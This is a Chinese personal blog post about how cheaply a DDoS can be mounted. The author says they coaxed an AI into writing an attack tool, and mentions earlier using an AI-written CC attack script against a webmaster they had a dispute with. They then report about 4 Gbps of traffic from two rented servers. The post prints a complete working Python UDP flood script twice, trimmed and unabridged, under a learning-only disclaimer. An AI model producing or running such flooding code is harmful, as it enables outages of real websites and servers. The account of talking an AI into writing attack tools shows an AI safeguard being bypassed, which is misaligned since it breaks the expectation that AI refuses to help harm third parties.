K7

K7Blog

须知少年凌云志 曾许人间第一流.
proton
telegram

原来DDOS成本那么低 26行代码完成测试

本文只是用于学习交流 DDOS 攻击原理,并非教人去如何攻击他人网站 做出违法的事情。

前言:#

之前我写了一篇记一段 CC 攻击经历 记录了身为小白的我,一行代码都不会写利用 AI 写出一个简单的 CC 攻击脚本,攻击一个发生过摩擦的站长(随后这位站长礼尚往来 DDOS 和 CC 了我几天)最后事情不了了之也没有了后续。

今天这个文章去玩 DDOS 也是突发奇想的一个点子,我只知道 DDOS 向目标服务器发送大量请求导致服务器不可用,消耗服务器的资源最后服务商那边检测出再将服务器 IP 进入黑洞,来达到击落的一个效果。

How_to_stop_DDoS_attacks_hero-1024x501

像 UDP TCP 洪水攻击 放大攻击,这些我听说过但是并没有认真去了解背后是如何实现依旧原理,Google 搜索出来的解释都比较官方并不是很容易消化理解,于是找了 AI 进行另类的对话理解了其中的实现原理,并且套话 AI 把我写一个 python 脚本 自己进行了测试效果杆杆的。

代码测试:#

在 vultr 开了两台同地区的服务器,均使用 CPU 优化服务器,一个 80 刀一个 160 刀服务器,一开始的代码测试打出 5m 左右流量 后面直接加了 1000 并发也才 7m,和 AI 沟通可以通过添加数据包大小达到流量巅峰。

写出新的代码测试,在 vultr 后台显示:

Snipaste_2024-05-19_13-33-35

服务器都是 G 口流量,居然打出了 4Gbps 的效果,通过 SSH 连接工具监控也能看到巅峰上行 2G 左右,被打的服务器也确实收到了这些流量 由于我测试完了就立马删机了(怕官方封号,里面还有一百多美金没有用呢)就没有过于详细的截图。

打了一下自己的服务器,有的流量一过去就死,有的一台服务器打不动两台服务器一起就死了,两台服务器如果只通过 SSH 连接工具监控来算 差不多有 3-5G 的上行,短短测试一会几百 G 的流量就没有了,然后我之前买的香港 BPG 服务器官方说 500M 带宽,用脚本测速下行其实 500M 差不多 上行居然有时可以跑到 2000M+ 要是那些不法分子有着这些服务器 或者像 ColoCrossing 那种不限流量的服务器 在服务商那边监管不严的情况下 买个几台轻轻松松就能把没有防御或低防御的服务器打进黑洞。

代码贴出:#

注意⚠️:你只能用于学习了解 DDOS 攻击原理,并且想自己研究如何防御攻击 切勿拿来做违法的事情 也切勿拿来做攻击他人网站的事情。

不管是在 SEO 的角度来看 或者一些公益或盈利的站点 一个网站的稳定性都是非常重要的,常在河边走那有不湿鞋 想做违法的事情 我劝你善良。

import socket
import threading
import time
def udp_flood(target_ip, target_port, message, duration, num_threads, packet_size=1024):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    bytes_to_send = message.encode('utf-8')
    end_time = time.time() + duration
    print(f"Starting UDP flood attack on {target_ip}:{target_port} for {duration} seconds with {num_threads} threads...")
    def send_udp():
        while time.time() < end_time:
            sock.sendto(bytes_to_send, (target_ip, target_port))
    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=send_udp)
        thread.start()
        threads.append(thread)
    for thread in threads:
        thread.join()
    print("Attack finished.")
target_ip = "127.0.0.1"  # 目标IP地址
target_port = 80             # 目标端口
message = "A" * 20000         # 发送的消息(1024字节大小的数据包)
duration = 100                # 持续时间(秒)
num_threads = 10           # 并发线程数
packet_size = 1024           # 每个UDP数据包的大小(字节)
udp_flood(target_ip, target_port, message, duration, num_threads, packet_size)

上面是去除一些多行和注释,如不可用 请用 AI 提供的原版:

import socket
import threading
import time

def udp_flood(target_ip, target_port, message, duration, num_threads, packet_size=1024):
    # 创建UDP套接字
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    # 将消息编码为字节
    bytes_to_send = message.encode('utf-8')
    
    # 获取当前时间
    end_time = time.time() + duration
    
    print(f"Starting UDP flood attack on {target_ip}:{target_port} for {duration} seconds with {num_threads} threads...")
    
    # 定义发送数据的函数
    def send_udp():
        while time.time() < end_time:
            sock.sendto(bytes_to_send, (target_ip, target_port))
    
    # 启动多个线程发送UDP请求
    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=send_udp)
        thread.start()
        threads.append(thread)
    
    # 等待所有线程完成
    for thread in threads:
        thread.join()
    
    print("Attack finished.")

# 配置攻击参数
target_ip = "127.0.0.1"  # 目标IP地址
target_port = 80             # 目标端口
message = "A" * 20000         # 发送的消息(1024字节大小的数据包)
duration = 100                # 持续时间(秒)
num_threads = 10           # 并发线程数
packet_size = 1024           # 每个UDP数据包的大小(字节)

# 发起攻击
udp_flood(target_ip, target_port, message, duration, num_threads, packet_size)
加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。